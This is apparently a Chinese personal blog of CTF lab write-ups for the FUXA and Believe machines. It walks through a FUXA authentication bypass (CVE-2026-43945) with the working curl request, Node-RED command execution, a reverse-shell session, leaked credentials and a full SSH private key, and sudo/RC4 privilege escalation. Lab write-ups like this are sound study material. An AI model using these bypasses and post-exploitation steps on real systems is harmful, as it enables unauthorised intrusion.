我查到CVE-2026-43945可以利用，漏洞原理：

CVE-2026-43945漏洞是认证中间件中的路径混淆缺陷。服务器使用子串匹配完整 URL（包括查询参数）来排除某些路径不进行认证。

设计逻辑：

const url = req.originalUrl || req.url || req.path;
if (url.includes('/socket.io')) return next();

通过在任何管理请求后附加 ?x=/socket.io，中间件会被“欺骗”，将该请求视为公开的 WebSocket 握手，从而完全绕过 secureEnabled 和 nodeRedAuthMode 的检查。

漏洞验证：

# 这是正常访问下的
curl http://192.168.56.120:1881/api/version
{"error":"unauthorized_error","message":"Authentication required!"}# 
# 利用?x=/socket.io 绕过
curl -i "http://192.168.56.120:1881/api/version?x=/socket.io"
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS
Access-Control-Allow-Headers: x-access-token, x-auth-user, Origin, Content-Type, Accept
X-RateLimit-Limit: 100
X-RateLimit-Remaining: 99
Date: Mon, 25 May 2026 13:03:50 GMT
X-RateLimit-Reset: 1779714267
Content-Type: application/json; charset=utf-8
Content-Length: 7
ETag: W/"7-Cirs2uSpdAjnR3V3ReVBOKiq2OQ"
Connection: keep-alive
Keep-Alive: timeout=5

"1.0.0"#

这个可以绕过受保护的/nodered/*端点的认证检测，可以配合Node-RED进行远程代码执行。

漏洞利用

http://192.168.56.120:1881/nodered/?x=/socket.io#flow/tab_1访问这个页面：

inject 移动到右边的空白区域
exec 移动到右边的空白区区域，并在命令写入whoami
debug 移动到右边的空白区域
将他们连接起来，就像这样：
exec 我们可以看到三个节点，从上到下代表：标准输出标准错误输出返回代码；其实把标准输出标准错误输出连接到debug就可以。
看到部署没有，点击部署。
点击注入左边的按钮，注入成功后，可以在调试窗口看到命令执行的结果。

基本上就是这样利用的，反向shell，只需要把whoami更改为反向shell的payload，按上面的6，7操作再走一遍即可。

反向shell获取立足点

# kali
nc -lvnp 39666
listening on [any] 39666 ...

payload 如下图：

connect to [192.168.56.101] from (UNKNOWN) [192.168.56.120] 53654
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
script -qc /bin/bash /dev/null
www-data@FUXA:/opt/fuxa/FUXA/server$ ^Z
[1] + 1125 suspended nc -lvnp 39666
stty raw -echo;fg
[1] + 1125 continued nc -lvnp 39666
 reset
reset: unknown terminal type unknown
Terminal type? xterm
www-data@FUXA:/opt/fuxa/FUXA/server$ export SHELL="/bin/bash"
www-data@FUXA:/opt/fuxa/FUXA/server$ export TERM="xterm-256color"
www-data@FUXA:/opt/fuxa/FUXA/server$ stty size
24 80
# kali
stty size
34 82
# 靶机
www-data@FUXA:/opt/fuxa/FUXA/server$ stty rows 34 columns 82

系统内部信息收集

www-data@FUXA:/opt/fuxa/FUXA/server$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
git:x:1001:1001:Git:/home/git:/bin/bash

两个用户root git

查看了sudo、suid、capablities、内网端口开放情况、内核漏洞，都没有可以利用的信息，经出题人提示：定时任务。

上传pspy64到靶机上，chmod +x ./pspy64。

./pspy64

2026/05/26 00:14:02 CMD: UID=1001 PID=4179 | /bin/bash -c /opt/fuxa/FUXA/server/scripts/local-sync.sh >/dev/null 2>&1 
2026/05/26 00:14:02 CMD: UID=1001 PID=4180 | /usr/bin/sshpass -p /usr/bin/ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null git@127.0.0.1 /usr/local/bin/theme-refresh --quick

发现两个可疑进程，查看local-sync.sh:

cat /opt/fuxa/FUXA/server/scripts/local-sync.sh
#!/bin/bash
set -euo pipefail

LOCAL_HOST="${1:-127.0.0.1}"
GIT_USER="git"
GIT_PASS="wi3fw39w0j12e"
REMOTE_CMD="/usr/local/bin/theme-refresh --quick"

exec /usr/bin/sshpass -p "$GIT_PASS" /usr/bin/ssh \
 -o StrictHostKeyChecking=no \
 -o UserKnownHostsFile=/dev/null \
 "${GIT_USER}@${LOCAL_HOST}" "$REMOTE_CMD"

获取到git的ssh 凭据：git : wi3fw39w0j12e。

ssh git@192.168.56.120 -p 22
git@192.168.56.120's password: 
Linux FUXA 6.12.86+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.86-1 (2026-05-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
git@FUXA:~$ cat user.txt
flag{git-ba9f11ecc3497d9993b933fdc2bd61e5}

我是真没想到，最后是通过.git泄露获取ssh私钥，我想记录一下这个过程：

git@FUXA:~$ find / -name .git 2>/dev/null
/opt/fuxa/FUXA/.git
git@FUXA:~$ cd /opt/fuxa/FUXA
git@FUXA:/opt/fuxa/FUXA$ git log
commit b7aab7ba14f943a94302f2e04bc86e621c2eb558 (HEAD -> main)
Author: field-ops <ops@localhost>
Date: Fri Dec 19 10:36:00 2025 -0500

 docs: note asset bundle slot convention

commit 15a61556c42d78d6b99746036e10545c446eac14
Author: field-ops <ops@localhost>
Date: Fri Dec 19 10:08:00 2025 -0500

 ui: stage northbank station dashboard copy

commit fbb0edc67415359de5008f5a4b5822229357455c
Author: field-ops <ops@localhost>
Date: Fri Dec 19 09:12:00 2025 -0500

 ops: keep local theme sync helper

commit 5d8463f5d1cf6fac512ff3f4c6889901330c4c21 (grafted, tag: v1.2.8)
Author: unocelli <unocelli@gmail.com>
Date: Thu Dec 18 21:02:23 2025 +0100

 Build for release

通过git show hash，发现：只有fbb0edc67415359de5008f5a4b5822229357455chash的内容是关于脚本的，剩下两个关于描述。

git@FUXA:/opt/fuxa/FUXA$ git show fbb0edc67415359de5008f5a4b5822229357455c
commit fbb0edc67415359de5008f5a4b5822229357455c
Author: field-ops <ops@localhost>
Date: Fri Dec 19 09:12:00 2025 -0500

 ops: keep local theme sync helper

diff --git a/server/scripts/local-sync.sh b/server/scripts/local-sync.sh
new file mode 100644
index 0000000..a898e28
--- /dev/null
+++ b/server/scripts/local-sync.sh
@@ -0,0 +1,12 @@
+#!/bin/bash
+set -euo pipefail
+
+LOCAL_HOST="${1:-127.0.0.1}"
+GIT_USER="git"
+GIT_PASS="wi3fw39w0j12e"
+REMOTE_CMD="/usr/local/bin/theme-refresh --quick"
+
+exec /usr/bin/sshpass -p "$GIT_PASS" /usr/bin/ssh \
+ -o StrictHostKeyChecking=no \
+ -o UserKnownHostsFile=/dev/null \
+ "${GIT_USER}@${LOCAL_HOST}" "$REMOTE_CMD"

这些内容对于root提权并没有价值。

git@FUXA:/opt/fuxa/FUXA$ git branch -a
* main
# 只有一个分支
git@FUXA:/opt/fuxa/FUXA$ git tag -l
v1.2.8
# 这个就是 commit 5d8463f5d1cf6fac512ff3f4c6889901330c4c21 (grafted, tag: v1.2.8)
# 没有任何信息
git@FUXA:/opt/fuxa/FUXA$ git stash list
# 没有任何暂存信息
git@FUXA:/opt/fuxa/FUXA$ git for-each-ref --format='%(refname) %(objectname)'
refs/heads/main b7aab7ba14f943a94302f2e04bc86e621c2eb558
refs/tags/v1.2.8 5d8463f5d1cf6fac512ff3f4c6889901330c4c21
# 仓库里并没有藏别的引用
git@FUXA:/opt/fuxa/FUXA$ git rev-parse --is-shallow-repository
true
# 查看这个仓库是不是“浅克隆”。
# 是浅克隆，证明前面并没有隐藏提交
git@FUXA:/opt/fuxa/FUXA$ cat .git/shallow
5d8463f5d1cf6fac512ff3f4c6889901330c4c21 
# 浅边界具体记录的是：5d8463f5d1cf6fac512...
# 本地历史到这里就结束了
git@FUXA:/opt/fuxa/FUXA$ git fsck --full --no-reflogs --unreachable
Checking object directories: 100% (256/256), done.
Checking objects: 100% (1441/1441), done.
unreachable tree c571b7107cec708b402a3ff1264f4ec42ae09cea
unreachable commit a272d4c0e5e6ba742bbe7a5039c46813fe38a79c
unreachable blob 8495c96d487d9a591406d835f2738aceebee9612
unreachable tree 26cdc4b8b8eab6efd49ea0f77d22d7094b88bdac
# 列出了这些不可达对象
# 有效内容有：
unreachable commit a272d4c0e5e6ba742bbe7a5039c46813fe38a79c
unreachable blob 8495c96d487d9a591406d835f2738aceebee9612
unreachable tree 26cdc4b8b8eab6efd49ea0f77d22d7094b88bdac
git@FUXA:/opt/fuxa/FUXA$ git show 8495c96d487d9a591406d835f2738aceebee9612
#!/bin/bash
set -euo pipefail

BASE="/opt/.cache-loader"
MANIFEST="$BASE/state/.sprite-manifest"
READER="/usr/local/bin/cache-snapshot"

[ -x "$READER" ] || exit 0
[ -r "$MANIFEST" ] || exit 0

slot="$(awk -F= '$1=="active"{print $2}' "$MANIFEST" 2>/dev/null | tr -d '[:space:]')"
[ -n "$slot" ] || slot="stable"

"$READER" verify icons "$slot" >/dev/null 2>&1 || true
# 我们可以看到存在两个文件.sprite-manifest和cache-snapshot
# 查看这两个文件的内容：
git@FUXA:/opt/.cache-loader/state$ cat .sprite-manifest 
active=stable
theme=nightshift
build=20260506
git@FUXA:/opt/.cache-loader$ cat /usr/local/bin/cache-snapshot 
#!/bin/bash
set -euo pipefail

ACTION="${1:-}" # verify
NS="${2:-}" # icons
SLOT="${3:-stable}" 
STORE="/opt/.cache-loader/state"
MAP="$STORE/.slots/$NS"

[ -r "$MAP" ] || exit 1

ref="$(awk -v s="$SLOT" '$1==s{print $2}' "$MAP" | tail -n 1)"
[ -n "$ref" ] || exit 1

case "$ACTION" in
 verify)
 GIT_DIR="$STORE" /usr/bin/git cat-file -e "$ref"
 ;;
 stat)
 GIT_DIR="$STORE" /usr/bin/git cat-file -s "$ref"
 ;;
 dump)
 GIT_DIR="$STORE" /usr/bin/git cat-file blob "$ref"
 ;;
 *)
 exit 1
 ;;
esac
# /opt/.cache-loader/state 类似于 .git 文件夹 
# 查看 /opt/.cache-loader/state/.slots/ 目录
git@FUXA:~$ ls -al /opt/.cache-loader/state/.slots/
total 12
drwxr-x--- 2 root git 4096 Dec 20 10:30 .
drwxr-x--- 8 root git 4096 Dec 20 10:30 ..
-rw-r----- 1 root git 98 Dec 20 10:30 icons
git@FUXA:~$ cat /opt/.cache-loader/state/.slots/icons
stable 5eabba81b7dc9671da29ba0f45f5b6735bf479f8
fallback cbe10abbd6222a4fe029f5274aac4b35dfd65490
git@FUXA:~$ GIT_DIR=/opt/.cache-loader/state git cat-file -t 5eabba81b7dc9671da29ba0f45f5b6735bf479f8
blob
# 对象类型为 blob
# 直接读取
git@FUXA:~$ GIT_DIR=/opt/.cache-loader/state git cat-file blob 5eabba81b7dc9671da29ba0f45f5b6735bf479f8
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0wAAAJAy0ok2MtKJ
NgAAAAtzc2gtZWQyNTUxOQAAACC5DI8wLz9Sg+DORiIyh1kmN+3va6kG+s7C/ocZ5f1e0w
AAAECU4VgU3F+nMQ7Ty/LKklFRFNgHmSnFZTuq1X5TLBwr+bkMjzAvP1KD4M5GIjKHWSY3
7e9rqQb6zsL+hxnl/V7TAAAACnJvb3RATXViYW4BAgM=
-----END OPENSSH PRIVATE KEY-----

我们已经获取了 root 的私钥。

获取flag

vim ssh
chmod 600 ./ssh
ssh root@192.168.56.120 -p 22 -i ./ssh
Linux FUXA 6.12.86+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.86-1 (2026-05-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon May 25 03:08:01 2026 from 192.168.56.1
root@FUXA:~# ls
root.txt
root@FUXA:~# cat root.txt
flag{root-a01a6651f93b105d6fa6908d37a43275}
root@FUXA:~#

攻击链总结

信息收集：端口 22 80 1881端口，1881 的版本泄露出来为：1.2.8-2638，搜索FUXA的CVE公开漏洞并进行验证，发现：CVE-2026-43945 可以绕过。
漏洞利用：利用?x=/socket.io绕过/nodered/*的权限校验，通过Node-RED进行远程代码执行。
反向shell获取立足点：利用Node-RED执行反向shell的payload，获取立足点。
系统内部信息收集：.pspy64查看定时任务，发现可疑定时任务脚本，通过定时任务脚本泄露的硬编码并切换到git，最后从本地Git隐藏对象和额外Git对象库中挖出 root ssh 私钥。
获取flag：通过ssh私钥进行登录，拿到root权限获取flag。

总结

从这个靶机引出了些问题：

linux 定时任务，掌握情况不佳
- 5.26 19.27 补了一些这方面的知识
差点忘了，bash 脚本有些也看不懂。

从该靶机获得的经验：

node js 框架的网站版本可能在控制台泄露出来
最后系统内部的信息收集，各种可能有提权的都查看了，我是真没有想到 .git 里隐藏了信息，这个靶机拓展了我的思路。

Believe 复盘

Sat, 23 May 2026 20:31:10 +0800

作者	难度	平台
Gropers	Easy(我放到easy)	mazesec

信息收集

root@kali:~# nmap 192.168.56.119 -p- 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-23 05:29 -0400
Nmap scan report for 192.168.56.119
Host is up (0.00055s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2222/tcp open EtherNetIP-1
54321/tcp open unknown
MAC Address: 08:00:27:5A:ED:07 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 36.37 seconds
root@kali:~# nmap 192.168.56.119 -p22,80,2222,54321 -sC -sV
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-23 05:30 -0400
Nmap scan report for 192.168.56.119
Host is up (0.0019s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.67 ((Unix))
| http-cookie-flags: 
| /: 
| PHPSESSID: 
|_ httponly flag not set
|_http-title: Login
|_http-server-header: Apache/2.4.67 (Unix)
2222/tcp open ssh OpenSSH 10.3 (protocol 2.0)
54321/tcp open ssh OpenSSH 10.3 (protocol 2.0)
MAC Address: 08:00:27:5A:ED:07 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.40 seconds

当时我并没有扫描全部的接口，只扫到了22/tcp 2222/tcp，并没有扫到54321/tcp。

root@kali:~# dirsearch -u "http://192.168.56.119/"
[05:33:19] 200 - 820B - /cgi-bin/printenv
[05:33:19] 200 - 1KB - /cgi-bin/test-cgi
[05:33:23] 302 - 0B - /dashboard.php -> index.php

index.php为登录界面，访问/dashboard.php会跳转到index.php，猜测如果密码正确会跳转到/dashboard.php。

尝试爆破admin密码，5000.txt 10000.txt 20000.txt都尝试了，并没有起色。

突破口转向ssh 服务的端口：

root@kali:~# ssh root@192.168.56.119 -p 22 
==================================================
 admin
 yubao9694482664
==================================================
root@192.168.56.119's password:

ll104567当时出题HGBE，ssh服务就隐藏了一些信息，我这里尝试，确实发现了一些信息。

POST / HTTP/1.1
Host: 192.168.56.119
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Idempotency-Key: "818074399399579628"
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-GPC: 1
Origin: http://192.168.56.119
Cookie: PHPSESSID=ue8uah7leo1tcimbmrc352atj9
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.119/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Priority: u=0, i
Content-Length: 25

u=admin&p=yubao9694482664

这里要登录三次才能进入dashboard.php页面。

看起来可以进行命令执行，经过多次尝试，发现其只能执行cat 或 ls命令，用cat读取/etc/passwd，没有返回内容，读取yu.txt有返回内容，到此我还不能确定过滤规则，我把url和phpsessid发给ai，ai用cat读取了/etc/banner.txt，我就猜测可能要有.txt后缀才能读取到。

cat dashboard.php.txt查看源码：

<?php
error_reporting(0);
session_start();
if (isset($_POST['logout'])) {
 session_destroy();
 header('Location: index.php');
 exit;
}
if (!isset($_SESSION['auth']) || $_SESSION['auth'] !== true) {
 header('Location: index.php');
 exit;
}
$r = '';
if (isset($_POST['cmd'])) {
 $c = trim($_POST['cmd']);
 if (preg_match('/^ls(\s+.*)?$/', $c) || preg_match('/^cat\s+.*\.txt$/', $c)) {
 if (!preg_match('/[;|&$><`\n]/', $c)) {
 $r = shell_exec($c);
 }
 }
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Dashboard</title>
<style>
body { background: #1e1e1e; color: #00ff00; font-family: monospace; padding: 20px; }
.top-bar { display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; border-bottom: 1px solid #333; padding-bottom: 10px; }
input[type="text"] { background: #000; color: #00ff00; border: 1px solid #00ff00; padding: 5px; width: 300px; }
input[type="submit"] { background: #00ff00; color: #000; border: none; padding: 6px 15px; cursor: pointer; }
.logout-btn { background: #ff0000; color: #fff; border: none; padding: 6px 15px; cursor: pointer; }
pre { background: #000; padding: 15px; border: 1px solid #333; min-height: 50px; }
</style>
</head>
<body>
<div class="top-bar">
 <span>System Console</span>
 <form method="POST" style="margin: 0;">
 <input type="submit" name="logout" value="Logout" class="logout-btn">
 </form>
</div>
<form method="POST">
<span class="prompt">yu@Believe:~$</span>
<input type="text" name="cmd" autofocus autocomplete="off">
<input type="submit" value="Exec">
</form>
<br>
<pre><?php echo htmlspecialchars($r, ENT_QUOTES, 'UTF-8'); ?></pre>
</body>
</html>

从源码看，只能进行文件读取。

查看/etc/ssh/sshd_config:

Match LocalPort 22
 DenyUsers yu
 Banner /etc/ssh_banner # 原来这就是提示信息呀

Match LocalPort 2222
 DenyUsers yu # 禁止 yu 登录

从这里可以看出，并不允许 yu 用户在 22 2222端口登录，所以只能通过54321端口登录，yu.txt 也进行了提示。

ssh 登录，爆破了 5000.txt 10000.txt，并没有爆破到，最后想到密码复用yubao9694482664。

SSH凭据登录获取立足点

root@kali:~# ssh yu@192.168.56.119 -p54321
yu@192.168.56.119's password: 
 _ 
__ _____| | ___ ___ _ __ ___ ___ 
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V V / __/ | (_| (_) | | | | | | __/
 \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

yu@Believe:~$ id
uid=1000(yu) gid=1000(yu) groups=1000(yu)

系统内部信息收集

yu@Believe:~$ ls -al
total 896
drwx------ 2 yu yu 4096 May 14 15:16 .
drwxr-xr-x 3 root root 4096 May 12 22:10 ..
---------- 1 root root 900520 May 14 11:45 be
-rw-r--r-- 1 yu yu 91 May 14 14:58 hint.txt
-rw-r--r-- 1 yu yu 22 May 14 01:13 user.txt
yu@Believe:~$ cat hint.txt
The walls have ears, and the logs have a heartbeat.
it keeps whispering the truth. Just...

ai 翻译 :

隔墙有耳，而日志像有生命一样在跳动。
它一直在悄悄吐露真相，只是……

yu@Believe:~$ ls -al /var/log
total 388
drwxr-xr-x 4 root root 4096 May 23 09:59 .
drwxr-xr-x 13 root root 4096 May 8 10:51 ..
drwx--x--x 2 yu yu 4096 May 14 14:50 .hidden
-rw-r----- 1 root wheel 126 May 23 14:10 acpid.log
drwxr-s--- 2 apache apache 4096 Feb 25 19:46 apache2
-rw-r--r-- 1 root root 2103 May 12 21:07 apk.log
-rw-r--r-- 1 root root 0 May 8 10:56 auth.log
-rw-r--r-- 1 root root 0 May 8 10:56 btmp
-rw-r--r-- 1 root root 0 May 8 10:56 cron.log
-rw-r----- 1 root root 29653 May 23 16:07 dmesg
-rw-r--r-- 1 root root 0 May 8 10:56 faillog
-rw-r--r-- 1 root root 0 May 8 10:56 lastlog
-rw-r----- 1 root wheel 127116 May 23 18:33 messages
-rw-r----- 1 root wheel 204870 May 23 09:59 messages.0
-rw-r--r-- 1 root root 0 Apr 25 18:31 secure
-rw-r--r-- 1 root root 0 Apr 25 18:31 syslog
-rw-rw-r-- 1 root utmp 0 May 8 10:56 wtmp

可以看到.hidden。

yu@Believe:~$ cd /var/log/.hidden
yu@Believe:/var/log/.hidden$ ls -al
total 8
drwx--x--x 2 yu yu 4096 May 14 14:50 .
drwxr-xr-x 4 root root 4096 May 23 09:59 ..
pr-------- 1 yu yu 0 May 23 18:38 .ghost_radio
# p 命名管道（FIFO / named pipe）, 命名管道通常不会保存静态内容，而是等另一端进程持续往里写。
yu@Believe:/var/log/.hidden$ cat .ghost_radio 
i>b
i>grep
i>e
i>grep
i>l
i>grep
i>i
i>grep
i>e
i>grep
i>v
i>grep
i>e
i>grep
i>b
i>grep
i>e
i>grep
i>l
i>grep
i>i
i>grep
i>e
i>grep
i>v
i>grep
i>e
i>grep
i>b
i>grep
i>e
i>grep
i>l
i>grep
i>i
i>grep
i>e
i>grep
i>v
i>grep
i>e
i>grep
i>b
i>grep
i>e
i>grep
i>l
i>grep
i>i
i>grep
i>e
i>grep
# 观察规则
i>b
i>grep
i>e
i>grep
i>l
i>grep
i>i
i>grep
i>e
i>grep
i>v
i>grep
i>e
i>grep
# 这是一个循环
i>单个字符
i>grep
# 把单个字符组合起来
b e l i e v e

当然这里也可以使用 ps auxww（LNNN 学习到的），查看到底是哪个命令再给 .ghost_radio 文件写入内容。

yu@Believe:/var/log/.hidden$ sudo -l
Matching Defaults entries for yu on Believe:
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for yu:
 Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User yu may run the following commands on Believe:
 (root) NOPASSWD: /root/be
yu@Believe:~$ sudo /root/be
验证密钥（*******）:

这里要输入密钥，密钥就是believe。

yu@Believe:~$ sudo /root/be
验证密钥（*******）: believe
密钥正确
yu@Believe:~$ ls -al
total 896
drwx------ 2 yu yu 4096 May 14 15:16 .
drwxr-xr-x 3 root root 4096 May 12 22:10 ..
-rwsr-xr-x 1 root root 900520 May 14 11:45 be
-rw-r--r-- 1 yu yu 91 May 14 14:58 hint.txt
-rw-r--r-- 1 yu yu 22 May 14 01:13 user.txt

可以看到 be 从 ---------- 变为 -rwsr-xr-x，它具有了suid位，可以提权。

权限提升

可以说我对于逆向分析，屁都不懂，这一步是ai梭哈出来的，贴个脚本吧：

def rc4(key: bytes, data: bytes) -> bytes:
 s = list(range(256))
 j = 0

 for i in range(256):
 j = (j + s[i] + key[i % len(key)]) & 0xff
 s[i], s[j] = s[j], s[i]

 i = 0
 j = 0
 out = bytearray()

 for b in data:
 i = (i + 1) & 0xff
 j = (j + s[i]) & 0xff
 s[i], s[j] = s[j], s[i]
 k = s[(s[i] + s[j]) & 0xff]
 out.append(b ^ k)

 return bytes(out)


# 程序里写死的目标密文
target = bytes.fromhex(
 "24 53 27 50 78 4B 9D AB AB 7E F0 A1 49 F2 EA 7E EC 6C 82 77"
)

# 实际解题时验证可用的 key
key = b"believe"

plaintext = rc4(key, target)
print("key =", key.decode())
print("plaintext =", plaintext.decode())

# 输出：
key = believe
plaintext = Believe_in_yourself!

权限提升：

yu@Believe:~$ ./be
请输入系统密钥: Believe_in_yourself!
验证成功。
[+] 正在请求 Believe 核心权限...
Believe:/home/yu# id
uid=0(root) gid=0(root) groups=1000(yu)
Believe:/home/yu#

我的博客

HTB 实验环境访问入门（Introduction to Lab Access）

VPN 设置与控制台配置

OpenVPN 分配步骤

Pwnbox 分配步骤

启动 OpenVPN

VPN 控制菜单详解

Access（实验室选择）

Server（服务器选择）

Download（下载）

Regenerate（重新生成）

博客使用指南：如何写作与发布

1. 新建一篇文章

2. 插入图片

3. 本地预览

4. 发布

5. 常用管理操作

你好，世界：博客正式开张

这套博客是怎么运作的

Markdown 排版示例

文字样式

代码块

引用

列表与表格

Merge

信息收集

尝试反向shell获取立足点

系统内部信息收集

横向移动

mono

lnnn

admin

权限提升

disk权限提升

Oauth 复盘

信息收集

漏洞利用

反向shell获取立足点

系统内部信息收集

权限提升

BaseME

前期网卡的配置

信息收集

漏洞利用

提权

总结

gobuster

Ace 复盘

信息收集

反向shell获取完整交互式shell

系统内部信息收集

权限提升

预期方法

总结

BlindSpot

信息收集

SSH 初始访问

系统内部信息收集

权限提升

总结

FUXA 复盘

信息收集

漏洞利用

反向shell获取立足点

系统内部信息收集

获取flag

攻击链总结

总结

Believe 复盘

信息收集

SSH凭据登录 获取立足点

系统内部信息收集

权限提升

SSH凭据登录获取立足点